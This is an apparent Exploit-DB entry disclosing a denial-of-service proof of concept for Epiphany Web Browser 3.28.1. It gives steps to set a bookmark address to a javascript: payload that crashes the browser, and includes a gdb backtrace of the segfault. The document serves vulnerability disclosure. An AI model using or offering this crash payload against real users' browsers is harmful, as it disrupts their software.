Epiphany Web Browser 3.28.1 - Denial of Service (PoC)

vendor:

Epiphany Web Browser

by:

Dhiraj Mishra

5.5

CVSS

MEDIUM

Denial of Service

CWE

Product Name: Epiphany Web Browser

Affected Version From: 3.28.1

Affected Version To: 3.28.1

Patch Exists: NO

Related CWE:

CPE: a:gnome:epiphany:3.28.1

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu 18 64bit

2018

Epiphany Web Browser 3.28.1 – Denial of Service (PoC)

The Epiphany Web Browser 3.28.1 is vulnerable to a Denial of Service (DoS) attack. By bookmarking a page with a malicious JavaScript code, an attacker can cause the browser to crash when the bookmark is accessed.

Mitigation:

The vendor has not released a patch for this vulnerability. As a mitigation measure, users are advised to avoid bookmarking pages with malicious JavaScript code.

Source

Exploit-DB raw data:

# Exploit Title: Epiphany Web Browser 3.28.1 - Denial of Service (PoC)
# Author: Dhiraj Mishra
# Date: 2018-08-23
# Software: https://projects-old.gnome.org/epiphany/
# Version: 3.28.1
# CVE: N/A
# Tested on: Ubuntu 18 64bit

# Steps to reproduce:
1. Open epiphany browser
2. Bookmark any random page
3. Then navigate to bookmark properties set:
    Name = Crash
    Address = javascript:window.open('javascript:document.write("<script></script>");');
4. Browser any URL's and try to open the above bookmark
5. The browser crashes

# Below backtrace for your reference.

$ gdb epiphany
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Reading symbols from epiphany...(no debugging symbols found)...done.
(gdb) r
Starting program: /usr/bin/epiphany 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fffe08b6700 (LWP 9295)]
[New Thread 0x7fffdee4b700 (LWP 9296)]
[New Thread 0x7fffde64a700 (LWP 9297)]
[New Thread 0x7fffdcdcf700 (LWP 9298)]
[New Thread 0x7fff8fffd700 (LWP 9299)]
[New Thread 0x7fff8f7fc700 (LWP 9300)]
[New Thread 0x7fff8effb700 (LWP 9301)]
[New Thread 0x7fff8e38b700 (LWP 9302)]
[New Thread 0x7fff8db8a700 (LWP 9303)]
[New Thread 0x7fff8d389700 (LWP 9305)]
[New Thread 0x7fff77b0a700 (LWP 9310)]
[New Thread 0x7fff7598c700 (LWP 9320)]
[New Thread 0x7fff7518b700 (LWP 9321)]
[New Thread 0x7fff7498a700 (LWP 9327)]
[New Thread 0x7fff7698c700 (LWP 9334)]
[New Thread 0x7fff5ffff700 (LWP 9335)]
[New Thread 0x7fff5f7fe700 (LWP 9336)]
[New Thread 0x7fff5effd700 (LWP 9337)]
[New Thread 0x7fff5e7fc700 (LWP 9338)]
[New Thread 0x7fff5dffb700 (LWP 9339)]
[Thread 0x7fff8db8a700 (LWP 9303) exited]
[Thread 0x7fff8e38b700 (LWP 9302) exited]
[Thread 0x7fff5e7fc700 (LWP 9338) exited]
[Thread 0x7fff7698c700 (LWP 9334) exited]
[Thread 0x7fff5f7fe700 (LWP 9336) exited]
[Thread 0x7fff5effd700 (LWP 9337) exited]
[Thread 0x7fff5dffb700 (LWP 9339) exited]
[Thread 0x7fff5ffff700 (LWP 9335) exited]
Error scanning plugin /usr/lib/mozilla/plugins/libpepflashplayer.so, /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0/WebKitPluginProcess returned 256 exit status
[New Thread 0x7fff5ffff700 (LWP 9399)]
[Thread 0x7fff7498a700 (LWP 9327) exited]
[New Thread 0x7fff7498a700 (LWP 9402)]
[Thread 0x7fff7498a700 (LWP 9402) exited]

Thread 22 "pool" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff5ffff700 (LWP 9399)]
0x00007ffff7b75db7 in ?? () from /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so
(gdb) bt
#0  0x00007ffff7b75db7 in  () at /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so
#1  0x00007ffff7079be6 in  () at /usr/lib/x86_64-linux-gnu/libgio-2.0.so.0
#2  0x00007ffff73fe7d0 in  () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#3  0x00007ffff73fde05 in  () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#4  0x00007fffefc206db in start_thread (arg=0x7fff5ffff700) at pthread_create.c:463
#5  0x00007ffff5e4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
(gdb)